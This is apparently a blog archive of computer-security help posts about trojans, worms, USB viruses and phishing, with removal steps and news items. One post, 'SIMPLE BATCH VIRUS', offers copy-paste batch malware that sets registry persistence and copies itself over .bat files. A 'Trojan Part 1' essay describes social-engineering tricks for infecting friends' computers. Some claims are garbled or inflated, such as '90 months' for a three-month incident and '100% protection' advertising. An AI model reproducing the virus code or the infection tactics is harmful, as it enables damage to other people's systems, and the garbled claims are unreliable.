COMPUTER HELP AND TIPS.

Showing posts with label virus. Show all posts

Free Trojan Horse Removal

A Trojan virus is a piece of malicious computer software, which enters into the victim computer without the consent of the computer administrator. It is cited as the most common type of malwares, which is known to infect maximum number of computer systems worldwide. This should not be a point of surprise, because almost every computer connected to Internet is affected by one or the other form of malicious software. The main difference between Trojan virus and other computer viruses is that the former are capable to destroy your computer system to the same extent which the latter can do.

Trojan virus makes use of several practices and methods to get into a PC without the consent of the computer user. Some websites offer free software applications and utilities to make your PC much faster and a good performer. The Trojan virus pretends to be similar to the free software utility, which might damage your computer system or they may look like a folder or an important link, which demands a user click for executing. Once a Trojan virus receives a click from the user, it starts its action there. It opens the door for other harmful and dangerous malicious codes such as worms, adwares, and spywares.

It is strongly recommended that you should carry out a research before downloading any freeware from Internet.

If you are looking for a free Trojan virus remover tool then you can find here a list of some of the best Trojan remover tools:

1. Trojan Remover
2. A-Squared Anti-Malware
3. MalwareBytes
4. XoftSpySE

There are several free version of Trojan virus removal tool available on Internet. You can try one which you find to be authentic. You don’t need to search for the type of Trojan virus installed on your computer or the registry affected by the Trojan virus. Just download the latest version of Trojan Remover software and scan your PC for the presence of any virus infection.

What is Trojan horse?

Trojan horse is not exactly a virus. It is a software application that will only perform its function after being executed by the user.

Sometimes, a Trojan horse hides itself as a folder while in fact, it's a .EXE file. This is to catch the eye of users so they will click and execute it.

Different kinds of Trojan horse are OSX.RSPlug Trojan of Mac operating system, Trojan horse downloader, Trojan horse Generic 9, Trojan horse downloader Adload, Trojan horse generic 6, Trojan horse spyware and Trojan horse Vundo.

After the user executes the file, it will open an alternative means for malicious software such as spyware and adware to infect your PC. After the execution of file the keyloggers will enter from back doors and will pollute files and folders. Keylogger is an explicit software code that has capability of calculating the keyboard stroke, such as username and password for misuse purpose.

Trojan horse infection comes from downloading the program themselves or its being downloaded into their system stealthily. For example, you are looking for some paid program on Google that converts into video format.

Trojan horse is a rouge application code that shut downs the performance of PC. Some of the hazardous affects of Trojan horse are-

• Repeated system reboot
• Slow work efficiency of system
• Uncertain system crash
• Unexpected termination of application programs
• Delay’s in program opening and close
• Sound disabilities in speakers

Trojan horse is a system deadly application code and has to be removed to prevent unnecessary changes in system performance. Consider the steps for removal of Trojan horse-

STEP 1: Disable System Restore feature on your PC. System Restore, if enabled will restore all deleted files containing Trojan horse. Go to “My computers”, click on performance and select File system and then, Disable System Restore.

STEP 2: Reboot your PC in safe mode by persistently pressing the F8 key.

STEP 3: Go to start, click on “Control panel” and then, click on ADD\REMOVE Programs. It will show you list of programs containing Spyware and adware. Select the Remove program option.

STEP 4: In Windows System Folder delete all the files that contains Trojan virus extension.
Trojan horse is an explicit source code that alters the efficiency of PC. To prevent your system from getting affected with Trojan horse install antivirus security program such as McAfee Premium.

Related Post:

Free Trojan Horse Removal

Koobface Virus On FaceBook

Facebook.com has become the newest to be targeted by authors of a computer virus.

"It's a serious virus, it just starts taking over their computer and they don't know what to do with it," said Michael Mills, a computer technician with Big-Byte Computers in Chandler. "It's crazy."

The virus is known as "K00bface" and is hidden in an anonymous invitation or post to a user.

The invitation tells the user that they have been "tagged" in a photo or video, instructing them to open the invitation.

"Yeah, I've heard of it," said Brianna Quidang, an Arizona State University student who used Facebook on a daily basis.

"I got an email warning of that virus and my friends say just not to open anything from anybody you don't know. I'm pretty careful anyway," said Quidang.

It's important to note, there is nothing wrong with Facebook.

Experts believe the virus is authored by people looking to take advantage of users who open invitations from anonymous posters.

"Once it gets into your computer, it starts taking over things such as your desktop background, your web browser and your search results," said Mills.

Mills says the virus is a new, dangerous version of an old computer virus.

"I've already seen people come in with these problems and it's dangerous, it could potentially get into your computer and steal personal information," said Mills.

Mills said his best advice is to never open something from someone you don't know and always keep your virus protection software updated.

VIRUS REMOVAL SOFTWARE

Virus Blocked Indian PMO’s E-mail System for ninty Months

E-mail system of the Indian Prime Minster's Office remained affected by a computer virus for 90 months during 2008. The technical fault overshadowed the PMO e-mail communication system caused by the Microsoft Outlook Express in February march April 2008.

Although the size of the damage was not known, the PMO claimed that many e-mails forwarded to the office didn't reach the inbox. It was only in march last year when the problem was found.
The incident was unveiled when the Central Information Commission (CIC) conducted hearing session and the PMO submitted its grievance of virus infection that continued for three consecutive months - Feb-March-April - until discovered in April last year. At that time, CIC was conducting hearing of retired Air Commodore Lokesh Batra case, who complained to PMO, regarding the discrepancies in the Hindi edition of RTI act.

While submitting the grievance to the CIC, the PMO informed that several mails sent to the office didn't reach the Outlook Express and consequently, the Outlook Express was replaced with the Squirrel Mail.

An IT expert claimed that what is amusing is the failure of IT experts posted at the PMO to identify the problem for 3 months. Cyber forensic experts inform that attacks by virus can break into any mail security.

Wajahat Habibullah, Chief Information Commissioner, said in his suggestion to the PMO that there is room for more improvement in offering services to ensure smooth functioning of the RTI applications, as reported by newsX on March 15, 2009. Habibullah also adds that video conferencing should be downloaded at the PMO and in its branch in the Rail Bhavan Office to enable the usage of CPIO by the applicants throughout the country.

In addition, the targets on Indian government agency sites and systems have multiplied and a major part of this includes worms or viruses covered under the harmful code category. The Indian intelligence agencies reveal that the anti-Indian elements in Pakistan may be responsible for attacks against Indian computer systems.

Related Topic
virus removal

April Fool’s Computer Virus

April Fool’s Day computer worm detected on Wednesday.

It has come to be expected, it seems ever since the computer age was realized, there have been April Fool’s Day viruses for the public to deal with. Today is no different.

A computer worm was launched on Wednesday, but has not caused harms for the millions of infected computers so far, according to CNN Channel. Experts are currently trying to de-bug the problem and figure out if the worm, known as “Conflicker,” actually poses a legitimate threat.

IBM’s X-Force threat response manager, Holly Stewart, expects it may not be anything to worry about.

“I think joke’s on us a little bit, which you would have expected with having an April 1 date,” said Stewart.

Others, like forensics and security analyst at Lumens ion Security Paul Henryy, are not so easily comforted.

So far, there are an estimated 5 million “zombie” machines, experts fear that the creator of this program can now do anything with the machines. As of 9 p.m. Wednesday, there had been no attempts to upload anything, according to program director for SRI International Phil Purrs.

It is not expected that any sort of attack would be launched on either Wednesday or Thursday. Experts are encouraging computer users, telling them not to panic.

Related search
virus removal software
Remote Virus Scan and Removal
How To Catch A Computer Virus
Facebook profiles targeted by hackers

Protect from worms

A computer worm is a program which copies itself across a network.A computer worm differs from a computer virus in that a computer worm can run itself. A virus needs a host program to run, and the virus code runs as part of the host program. A computer worm can spread without a host program, although some modern computer worms also use files to hide inside.

Well known examples of the computer worm

The original computer worm was (perhaps accidentally) unleashed on the Internet by Robert Tappan Morris in 1988. The Internet Worm used sendmail, fingerd, and rsh/rexec to spread itself across the Internet.

The SQL Slammer Worm of 2003 used a vulnerability in Microsoft SQL Server 2000 to spread itself across the Internet. The Blaster Worm, also of 2003, used a vulnerability in Microsoft DCOM RPC to spread itself.

The Melissa worm of 1999, the Sobig worms of 2003 and the Mydoom worm of 2004 all spread through e-mail. These worms shared some features of a trojan horse, in that they spread by enticing a user to open an infected e-mail attachment.

Mydoom also attempted to spread itself through the peer-to-peer file sharing application KaZaA. The Mydoom worms attempted a Denial of Service (DoS) attack against SCO and Microsoft.

Protecting yourself against computer worms

Computer worms which spread through vulnerabilities in network services can best be protected against by keeping up-to-date in installing patches provided by operating system and application vendors. This includes worms like SQL Slammer and Blaster.

Computer worms which spread like trojan horses can best be defended against by not opening attachments in your e-mail. These infected attachments are not limited to .EXE files. Microsoft Word and Excel files can contain macros which spread infection.

Some people would say that the best way to protect yourself against computer worms is not to run Microsoft software.

Remove ‘Yannh.cmd Trojan’

Tr0jan

“yannh.cmd” is a Trojan that often spreads from external storage medias like USB, CD, DVD widely

by injecting into the autorun.inf file.

When i explored my autorun.inf, i found the few autorun entries made by “Yannh.cmd” like this,

open=yannh.cmd
shell\open\Command=yannh.cmd
shell\explore\Command=yannh.cmd

You can’t directly edit the autorun.inf file while it is currently running, another thing you have to notice is, this file attribute is set to read only mode, hence you have to revoke it first to proceed further.

How can i Identify whether my computer got infected ?

open up your command prompt and type

cd\
dir /a

dir /a - will clearly display all the hidden files in the drives.

This “Yannh.cmd” makes some registry entries in the following path…
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kamsoft
and has its source file in the system32 directory with the name Kamsoft.

Here are the ways that helps you get rid of this Trojan.

Step 1:

Its is always recommended to back-up your registry before touching it, after a successful backup,
goto the below path

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kamsoft
and delete Kamsoft.

Step 2:

Open up the command prompt and type the following

cd\
attrib -r -s -h yannh.cmd
del yannh.cmd

This will delete the yannh.cmd file.

Step 3:

Now you have to delete the kamsoft folder from your system32 directory, just type the below commands in the command prompt.

cd\
cd C:\WINDOWS\system32
attrib -r -s -h kamsoft.exe
del kamsoft.exe

Step 4:

Now you can edit the autorun.inf file to remove the entried added by yannh.cmd

cd\
attrib -r -h -s autorun.inf
edit attrib.inf

Now delete where ever it says yannh.cmd and save changes.
Now you are done with it.

Here are the similar files that you must be aware of,

refsanvn.inf
Zidan vs Tito.exe
desktop.exe
omsirutnarg.exe
Alisa.exe
blazzers.exe
burimi.exe
nfd.exe
repppp.exe
wax.exe
wny.exe
msv2008.exe
GETBOOTD.BAT
tbm9.bat
08dgu.com
1t6yxlxx.cmd
2h60k.cmd
3rl3lqbq.bat
ewatr.cmd
Maradona.exe
iw.bat
m2nl.bat
ov.cmd
pnt.com
t1ypkh.exe
grgarevn.inf
microsvn.inf
Installer.exe
fvbk.exe
snaoc9i.exe
bt8vuaw.com
wjlc.exe
6fnlpetp.exe
g8rruyw.exe
o1.com
Secret.exe
hupxj.bat
fphj6j31.bat
shell.exe

Protect your Computer from USB Virus

Have you ever attached a USB to a computer and later found out that the Computer is infected by a virus? I have definitely faced this situation many times. If you attach your infected USB drive to the infected computer the virus is transferred to the Computer in no time infecting all the important documents. But now you don’t have to worry about any USB Virus because USB Disk Security provides 100% protection against any threats via USB drive.

USB Disk Security provides 100% protection against any threats via USB drive, however, the majority of other products are unable even to guarantee 90% protection. USB Disk Security is the best antivirus software to permanently protect offline computer without the need for signature updates, but other antivirus software should update signature database regularly, and they cannot effectively protect offline computer. This light and easy to use solution is 100% compatible with all software and doesn’t slow down your computer at all. You pay USB Disk Security once and get it all, however, other antivirus products should be paid for updates every year.

Product Highlights:

100% protection against any malicious programs via USB storage

USB Disk Security uses innovative proactive technology to block any threats via USB drive. There are relatively few products available in shops or on the Internet which offer even close to 100% protection against any malicious programs via USB drive. The majority of products are unable even to guarantee 90% protection. USB Disk Security is the world’s best software to block threats via USB drive.

The best solution to protect offline computer

Other antivirus software should update signature database regularly, and they cannot effectively protect offline computer that is not connected to the Internet. When new viruses, worms and other malicious attacks strike, traditional signatures are insufficient. Every minute one waits for a virus signature update creates a window of vulnerability that could have devastating consequences. USB Disk Security uses advanced proactive detection techniques, requires no signature updates, and closes the window of vulnerability left open by other reactive, signature-based responses.

The world’s fastest and smallest antivirus software

With USB Disk Security, it’s not necessary to sacrifice speed for detection and scanning. Compare antivirus software and you’ll discover that USB Disk Security is by far one of the smallest applications in the industry. For example, the v5.0 of USB Disk Security installer is just 1 MB. The program utilizes approximately 1 to 7 MB of RAM.

100% compatible with all software

Incompatibility between antivirus programs is an issue. In the vast majority of cases, installing two antivirus programs from different vendors on one machine (for increased protection) is technically impossible, as the two programs will disrupt each other’s functioning. However, USB Disk Security is 100% compatible with all software, including Windows Vista.

Simple to use

USB Disk Security has been specifically designed to perform effectively regardless of the user’s level of computer expertise. Just install and forget it.

System Requirement

100MHz Processor or more, 16MB RAM or more. The operating system should be Windows 95, Windows 98, Windows 2000, Windows XP, Windows NT 4.0, Windows ME, or Vista.

Download

http://w17.easy-share.com/1702778903.html

Removal of W32/Inservice.IA Trojan Manually

Manually Removing of W32/Inservice.IA Trojan

W32/Inservice.IA is a trojan. The trojan will infect Windows systems.
This trojan Copies its files to Temp Folder as hidden files or active non-hidden files.
This trojan information updated on June 6, 2009.
Other names of W32/Inservice.IA Trojan:
This trojan is also known as Trojan-Downloader.Win32.INService.ia, TROJ_INSERVC.C.

Damage Level : Medium/High
Distribution Level: Medium
W32/Inservice.IA Trojan Manual Removal Instructions
Recommend Removal from Safe Mode:
How to Start in Safe mode:
Restart your Computer, Press F8 Repeatedly, when your Screen turns on, Select Safe mode, press enter.

The Infected Files Can be Seen in these folders and names also Running in Tasks
End the Following Active Process Before Removal

[ Kill the Process, Use Killbox if your Access Denied ]

Download W32/Inservice.IA Trojan Known File Removal Tool

[In Windows Vista Run As Administrator, After Execution System Will Restart]

%Documents and Settings\Default User\Local Settings\Temp\local518467.exe
%Documents and Settings\Default User\Local Settings\Temp\local341.exe
[ No Exact Information about Files, search above related files in Program files Folder ]
If you have any of these files in running process from task manger, end the process before removal.
Note: if task manager is disabled, Download the following file, Click to Download - Enable Registry.reg [ Right Click - Save Target As/Linked Content As ]
Open it with Regedit.exe [%system32\regedit.exe], then it Confirms Add to registry Yes or No, Confirm Yes, then click Ok.

W32/Inservice.IA Trojan Entries Manual Removal From Registry

Click Start, Run,Type regedit,Click OK.

Note: If the registry editor fails to open the threat may have modified the registry to prevent access to the registry editor.

Download this UnHookExec.inf, [ Right Click - Save Target As/Linked Content As ]
and then continue with the removal. Save it to your Windows desktop. Do not run it at this time, download it only.
After booting into the Safe Mode or VGA Mode
Right-click the UnHookExec.inf file and click Install. [This is a small file. It does not display any notice or boxes when you run it.]

W32/Inservice.IA Trojan modifies registry at the following locations to ensure its automatic execution at every system startup:
Delete The Entries

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Delete file entries from right side

Search Registry For W32/Inservice.IA Trojan File Names listed above to remove completely,
Edit Menu - Find, enter Keyword and remove all value that find in search.

Exit the Registry Editor,

Restart your Computer.

Trojan Part 1

1.What is this text about?
/=-=-=-=-=-=-=-=-=-=-=-=-=-=/
In this text I'm going to explain you interesting things about
the trojans and about their future.I hope you'll realize that
trojans are dangerous and they're still big security problem although
many people say don't download files from the net and you won't get
infected which is not right.The main thing I want to explain here is
do the trojans have future and other interesting things about them.
This text is only for Windows based trojans not Unix one.
=-=-=-=-=-=-=-=-=-=-=-=-=-=

2.What Is A Trojan Horse?
/=-=-=-=-=-=-=-=-=-=-=-=-=/

A trojan horse is
-An unauthorized program contained within a legitimate program. This unauthorized
program performs functions unknown (and probably unwanted) by the user.

-A legitimate program that has been altered by the placement of
unauthorized code within it; this code performs functions unknown
(and probably unwanted) by the user.

-Any program that appears to perform a desirable and necessary
function but that (because of unauthorized code
within it that is unknown to the user) performs functions unknown
(and probably unwanted) by the user.

Trojans can also be called RAT's, or Remote Administration Tools.
The trojan got it's name from the old mythical story about how the greeks during
the war, gave their enemy a huge wooden horse as a gift.
They accepted this gift and they brought into their kingdom,
and during the night, greek soldiers crept out of the horse and attacked the city,
completely overcoming it.

3.Trojans Today
/=-=-=-=-=-=-=-=/
Trojans has always been big security problem even today.Most of the people
don't know what a trojan is and they keep downloading files from untrusted
sources or from suspicious people.Today there are more than 600 trojans on
the net that I know but I think there are many many more.Because every hacker or
programer today have it's own trojan made for his/her special needs and not
published anywhere.Every hacking group has also it's own trojans and programs.
When someone start learning winsock the first creating is chat client or trojan
horse.Even the anti-virus scanners I'll talk below people still get infected
by themselves,by some hacker or by some of your friends.
----------------------->

4.The Future Of Trojans
=-=-=-=-=-=-=-=-=-=-=-=-=
I think there're a lot of people out there that think the
trojans are outdated and they don't have future.Well I don't
think so.Trojans will always have future and new things added in
them.There are so many things that can be improved by skilled programers
in the trojans.
Trojans that COMPLETELY hide in the system and of course restart every time Windows is loaded
trojans that will lie every trojan and anti-virus program this is the future I think.
People that program trojans has a lot of ideas that makes their trojans unique.
These people start placing backdoors in ActiveX and who knows maybe in future they'll
find other sources they can place the trojans in.Programmers will always think of
new and unique trojans with functions never seen before.
Trojans are made every day by the programers with new options and with better encryption so
the Anti-Trojan software can't detect them.So noone knows how many are the trojans on the net.
But the programmers are still programming trojans and they will continue in the future.
Technically, a trojan could appear almost anywhere, on any operating system or platform.
However, with the exception of the inside job mentioned previously, the spread of trojans works
very much like the spread of viruses. Software downloaded from the Internet, especially shareware or freeware,
is always suspect. Similarly, materials downloaded from underground servers
or Usenet newsgroups are also candidates.There are thousand of programs with not checked
source and new programs are appearing every day especially the freeware one so they can all be
trojans.So be careful what you're downloading and from where you're downloading it.
Always download software from the official page.
----------------------------->

5.Anti-Virus Scanners
/=-=-=-=-=-=-=-=-=-=-=-=/
People think that when they have a virus scanner with the latest virus definitions
they're secure on the net and they can't get infected with a trojan or noone can
have access to their computer.This is NOT right.The purpose of the anti-virus
scanners is to detect not trojans but viruses.But when trojans became popular
the scanners started adding also trojan definitions.These scanners just can't
find the trojans and analyze them that's why they're just detecting the common
and the well know from everyone trojans like Back Orifice and NetBus and also
several other.As I told they're around 600 trojans I know out there and the
anti-virus scanners are detecting just a LITTLE part of them.
These scanners are not firewalls that will stop someone that want to connect
to your computer or try to attack you as people think they are.So I hope that
you understand that the main purpose of these scanners is not to detect
trojans and protect you while you're online.
Most of the internet users know only Back Orifice and NetBus as trojans.
There are some specific tools out there that clean ONLY from these trojans.
Again people think that they're secure and protected from every trojan.
--------------------------->

6.How Can I get Infected?
/=-=-=-=-=-=-=-=-=-=-=-=-=-=/
Everyone ask this question and often people ask themselves how they got
infected.Also when someone ask them did they run some file send to them
by someone or downloaded from somewhere people always say they didn't
run anything or download some file but they did it.People just don't
pay attention to things they do online and that's why they forget
about the moment of the infection with the trojan.
You can get infected from many places and I'll try to explain
you these things here.

6.1 From ICQ
6.2 From IRC
6.3 From Attachment
6.4 Physical Access
6.5 Tricks-diskette

6.1 From ICQ

People think that they can't infect while they're talking via ICQ
but they just forget the moment when someone sends them a file.
Everyone knows how insecure ICQ is and that's why some people
are afraid of using it.

As you maybe know there's a bug in ICQ allowing you to send a .exe
file to someone but it will look as .bmp or .jpg or whatever you want
it to look like.This is very dangerous as you see and can get you in
trouble.The attacker will just change the icon of the file like
a BMP image,tell you it's a pic of him,rename it to photo.bmp
then you'll get it and of course before getting it you'll see that
it's .bmp and you're secure because the file is not executable.
Then you run it see the picture and you think there's nothing to
worry about but there is.

That's why most of the people say that they didn't run any files
because they know that they've run an image not executable.
A way to prevent this bug in ICQ is always to check the type of
the file before running it.It may has an BMP icon but if at the type
of the file is written executable I thin you know that it will be
mistake if you run that file.

6.2 From IRC

You can also get infected from IRC by receiving files from
untrusted sources.But I advice you always to be paranoid
and do not receive files from ANYONE even from your best
friend because someone may stolen his/her password
and infect you.Some people think that they can be 100% sure
that the other person is their friend when they ask him/her
something like a secret or something else that only he/she know
but as I told you be paranoid because someone may infect your friend
and just check his/her IRC logs and see what is this secret about or
learn other things.Be paranoid it's more secure as I say and do not
receive files from anyone on IRC or from somewhere else like
e-mail,ICQ or even your online friends.

6.3 From Attachment

The same thing goes about the e-mail attachments.NEVER run anything
even if it says you'll see hot porno or some passwords for server or
anything else.The best way to infect someone with a trojan is mass
e-mailing the server because there're new people on the net and
they'll of course get infected.This is the best way of infecting
as I said that's why it's preferred by the people that want to infect
the masses.

6.4 Physical Access

You can of course get infected by some of your "friends" when they
have physical access to your computer.Let's suppose you leave
someone on your computer just for 5 minutes,then of course you can
get infected by one of your "friends".There are some very smart people
out there that keep thinking of new ways of getting physical access
to someone's computer.Here are some tricks that are interesting:

1.You "friend" may ask you "Hey bro can you give me some water"
or something that will leave him alone.You'll go to take some
water and then........You know

2.The attacker may have a plan.Let's say you invited him/her
at 12:00 at your home and that attacker told one of your
"friends" to call the victim at 12:15 and start talking
about something with the victim.The attacker again have time
to infect you.
Also the "friend" that is calling you may say something like
"Is there anyone around you,if so move somewhere
else I don't want anyone to hear what we are talking about"
The attacker is again alone and have time to infect you.

6.5 Trick

This is one trick that may work on people that really
want something and the attacker knows what is it.
Let's say that the victim wants to watch some porno
or want xxx passwords,then attacker can just leave
a diskette with the trojan in the front of the victim's
house and put the trojan with some xxx pics of course.

This is bad things because sometimes if you really want
something and you finally found it you don't think about
anything else except to check it you.You again get infected.

I hope now you understand how you got infected the last time
(if you got infected of course).
----------------------------------->

7.How dangerous a trojan can be?
/=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=/

Many people that don't know what a trojan is
think that when they run an executable nothing
happened because their computer is still working
and all the data is there,if it was a virus
their data will be damaged and their computer will
stop working.

Someone is downloading and uploading files on your
computer.
Someone is reading all of your IRC logs and learning
interesting things about you and your friends.
Someone is reading ALL of your ICQ messages.
Someone is deleting files on your computer.

These are some examples how dangerous a trojan can be.
There people that use trojans just to place virus
on the infected machine like CIH and destroy the machine.
--------------------------->

8.Different Kinds Of Trojans
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Remote Access Trojans
-------------------------------

These trojans are the most popular trojans now.
Everyone wants to have such trojan because he
or she want to have access to their victim's hard drive.
The RAT'S (remote access trojans)are very
simple to use.Just make someone run the server
and you get the victim's IP and you have FULL
access to his or her computer.They you can
almost everything it depends of the trojan you use.
But the RAT'S have the common remote access trojan functions like:
keylogger,upload and download function,
make a screen shot and so on.Some people use the
trojans for malicious purposes.
They want just to delete and delete.This is lame.But a have a guide
about the best way to use a trojan.You should read it.
There are many programs out there
that detects the most common trojans,but new trojans are
coming every day and these programs are not the maximum defense.
The trojans do always the same things.
If the trojan restart every time Windows is loaded that
means it put something in the registry
or in win.ini or in other system file so the trojan can restart.
Also the trojans create some file in
the WINDOWS\SYSTEM directory.The file is always looking
to be something that the victim will think
is a normal WINDOWS executable.Most trojans hide
from the Alt+Ctrl+Del menu.This is not
good because there are people who use only this way to see
which process are running.There are programs
that will tell me you exactly the process and the
file from where it comes.Yeah but some trojans
as I told you use fake names and it's a little hard
for some people to understand which process
should they kill.The remote access trojans opens
a port on your computer letting everyone to connect.
Some trojans has options like change the port
and put a password so only the guy that infect you
will be able to use the computer.The change
port option is very good because I'm sure you
don't want your victim to see that port 31337 is open
on their computer.Remote access trojans are
appearing every day and they will continue to appear.
For those that use such trojans: BE CAREFUL
you can infect yourself and they the victim you
wanted to destroy will revenge and you'll be sorry.
---------------------------------------
Password Sending Trojans

The purpose of these trojans is to rip all cached
passwords and send them to specified e-mail
without letting the victim about the e-mail.
Most of these trojans don't restart every time Windows
is loaded and most of them use port 25 to
send the e-mail.There are such trojans that e-mail
other information too like ICQ number
computer info and so on.These trojans are dangerous if
you have any passwords cached anywhere on your computer.
----------------------------------------
Keyloggers

These trojans are very simple.The only one thing
they do is to log the keys that the victim is pressing
and then check for passwords in the log file.
In the most cases these trojans restart every
time Windows is loaded.They have options
like online and offline recording.In the online recording
they know that the victim is online and
they record everything.But in the offline recording
everything written after Windows start is
recorded and saved on the victims disk waiting for
to be transferred.
----------------------------------------
Destructive

The only one function of these trojans is to
destroy and delete files.This makes them very simple
and easy to use.They can automatically
delete all your .dll or .ini or .exe files on your computer.
These are very dangerous trojans and once
you're infected be sure if you don't disinfect your
computer information will no longer exist.
-----------------------------------------
FTP trojans

These trojans open port 21 on your computer
letting EVERYONE that has a FTP client to connect
to your computer without password and will full upload and download options.

These are the most common trojans.They all are dangerous
and you should me careful using them.
-------------------------------------->

9.Who Can Infect You?
/=-=-=-=-=-=-=-=-=-=-=/

Well basically you can get infected by everyone that know how
to use a trojan(it's VERY easy) and of course know how to infect you.
People that use trojans are wannabe hackers that are just at the stage
of using trojans.Some of these people don't move to the next stage
and they're lamers that can only use trojans and as I said it's VERY easy.
But after reading this text you'll know the most common ways that someone
can infect you with a trojan and it will be hard for the people using them
to infect you.
------------------------>

10.What Is The Attacker Looking For?
/=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=/

Some of you may think that trojans are used for damage only.
Well they can also be used to spy on someone's machine and
take a lot of private information from it.Wellthe common data an attacker looks
for would include but not limit to the following.

-----> Credit Card Information
-----> Credit Information
-----> Checking Account Information
-----> Any accounting data
-----> Data bases
-----> Mailing Lists
-----> Personal Addresses
-----> Email Addresses
-----> Account Passwords
-----> Home Office / Small Business Information
-----> Company Accounts / Subscribed for Services
-----> Resumes
-----> Email
-----> Any Company Information / Services He Can Access
-----> Your or spouse's first and last name
-----> Children's names / ages
-----> Your address
-----> Your telephone number
-----> Letters you write to people
-----> Email
-----> Your personal resume
-----> Your family pictures
-----> School work
-----> Any school accounts / information

How does Worms work ?

People use e-mail more than any other application on the internet, but it can be a frustrating experience, with spam and especially e-mail worms filling our inboxes.

Worms can spread rapidly over computer networks, the traffic they create bringing those networks to a crawl. And worms can cause other damage, such as allowing unauthorized access to a computer network, or deleting or copying files.

What's a worm?

A worm is a computer virus designed to copy itself, usually in large numbers, by using e-mail or other form of software to spread itself over an internal network or through the internet.

How do they spread?

When you receive a worm over e-mail, it will be in the form of an attachment, represented in most e-mail programs as a paper clip. The attachment could claim to be anything from a Microsoft Word document to a picture of tennis star Anna Kournikova (such a worm spread quickly in February 2001).

If you click on the attachment to open it, you'll activate the worm, but in some versions of Microsoft Outlook, you don't even have to click on the attachment to activate it if you have the program preview pane activated. Microsoft has released security patches that correct this problem, but not everyone keeps their computer up to date with the latest patches.

After it's activated, the worm will go searching for a new list of e-mail addresses to send itself to. It will go through files on your computer, such as your e-mail program's address book and web pages you've recently looked at, to find them.

Once it has its list it will send e-mails to all the addresses it found, including a copy of the worm as an attachment, and the cycle starts again. Some worms will use your e-mail program to spread themselves through e-mail, but many worms include a mail server within their code, so your e-mail program doesn't even have to be open for the worm to spread.

Other worms can use multiple methods of spreading. The MyDoom worm, which started spreading in January 2004, attempted to copy infected files into the folder used by Kazaa, a file-sharing program. The Nimda worm, from September 2001, was a hybrid that had four different ways of spreading.

What do they do?

Most of the damage that worms do is the result of the traffic they create when they're spreading. They clog e-mail servers and can bring other internet applications to a crawl.

But worms will also do other damage to computer systems if they aren't cleaned up right away. The damage they do, known as the payload, varies from one worm to the next.

The MyDoom worm was typical of recent worms. It opened a back door into the infected computer network that could allow unauthorized access to the system. It was also programmed to launch an attack against a specific website by sending thousands of requests to the site in an attempt to overwhelm it.

The target of the original version of MyDoom attack was the website of SCO Group Inc., a company that threatened to sue users of the Linux operating system, claiming that its authors used portions of SCO's proprietary code. A second version of MyDoom targeted the website of software giant Microsoft.

The SirCam worm, which spread during the summer of 2001, disguised itself by copying its code into a Microsoft Word or Excel document and using it as the attachment. That meant that potentially private or sensitive documents were being sent over the internet.

How do I get rid of them?

The best way to avoid the effects of worms is to be careful when reading e-mail. If you use Microsoft Outlook, get the most recent security updates from the Microsoft website and turn off the preview pane, just to be safe.

Never open attachments you aren't expecting to receive, even if they appear to be coming from a friend. Be especially cautious with attachments that end with .bat, .cmd, .exe, .pif, .scr, .vbs or .zip, or that have double endings. (The file attachment that spread the Anna Kournikova worm was AnnaKournikova.jpg.vbs.)

Also, install anti-virus software and keep it up to date with downloads from the software maker's website. The updates are usually automatic.

Users also need to be wary of e-mails claiming to have cures for e-mail worms and viruses. Many of them are hoaxes that instruct you to delete important system files, and some carry worms and viruses themselves.

As well, some users should consider using a computer with an operating system other than Windows, the target of most e-mail worms. Most of the worms don't affect computers that run Macintosh or Linux operating systems.

quick fix for spyware

OK, so now you realize that you've got some spyware junk on your system.

Before you go headlong into deleting suspected files or editing the registry, try this simple disabling technique.

First, see if you can determine what the offending files are. You can do this by running "msinfo32" if you're using Win98. I only have experience with Win98, so I don't know the corresponding run command for this "Microsoft System Information" utility in WinXP. Go to the "Software Enviroment" section and poke around to see if you can locate an offensive or out-of-place file that looks like it doesn't belong. Make a note of the filename and location.

Then fire up Windows Explorer and navigate to the "no-goodnick" file. Now, and this is important, rename the file to something you can remember later. I like to use the same filename, but tack on the letters (in caps) "OLDXXX", where "XXX" are my initials. So, for example:

twaintec.dll

is renamed to

twaintecOLDXXX.dll

This effectively disables the offensive file, so that whatever piece of spyware junk is looking for it, it can't find it, and thus can't glop up you system. If you've made a mistake and the file is essential to your system, you can easily correct it by reversing the renaming procedure. This is much easier than restoring a deleted file, especially if you have emptied your recycle bin in the meantime!

Some bogus files can't be renamed while Windows is running, so then you have to use brute force and reboot in DOS-only mode, and use DOS commands to locate and rename the file. You may have to dig out your old DOS reference books for this like I did.

I have used this technique several times to disable offending junk until I can find a permanent way of getting rid of it.

It's a great trouble-shooting technique.

cleaning host file

We have seen a large number of computers coming in with problems navigation on the internet. Also unable to go to Windows update and viurs update sites. Here is a quick fix that also seems to speed navigation up some.

Just for safety create a copy of the file before making changes.

goto

C:\windows\system32\drivers\etc\ (Windows XP)

C:\I386 (Windows 2000)

Open the host with notepad.

remove all entries bellow

127.0.0.1 localhost

then save and close

SIMPLE BATCH VIRUS

This one is a simple batch virus
Just copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Be carefull & Don’t run this on ur pc
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h [...]

Further Read:

Safeguard your emails from phishers who send mails like this

Gmail Subscribers be aware of the emails sent to us like this in the name of customer verification telling users to give their Email ID's, Passwords etc...with an email id of gmail notified customercare4014@gmail.com.

These users say that u have to send ur details within 24hrs nor ur account will be disabled but the fact is they are phishing ur account and will use youraccount for all sort of malpractices so be aware of this new threat.
Donot reply them for the things and notify Google about their activities.

These people also has attached an virus file in the mail,if u click it for download then ur system will be affected with virus which they use for hacking.

Virtual System To Protect Computer Attack By Virus, Trojans and Keep System Partition Safe

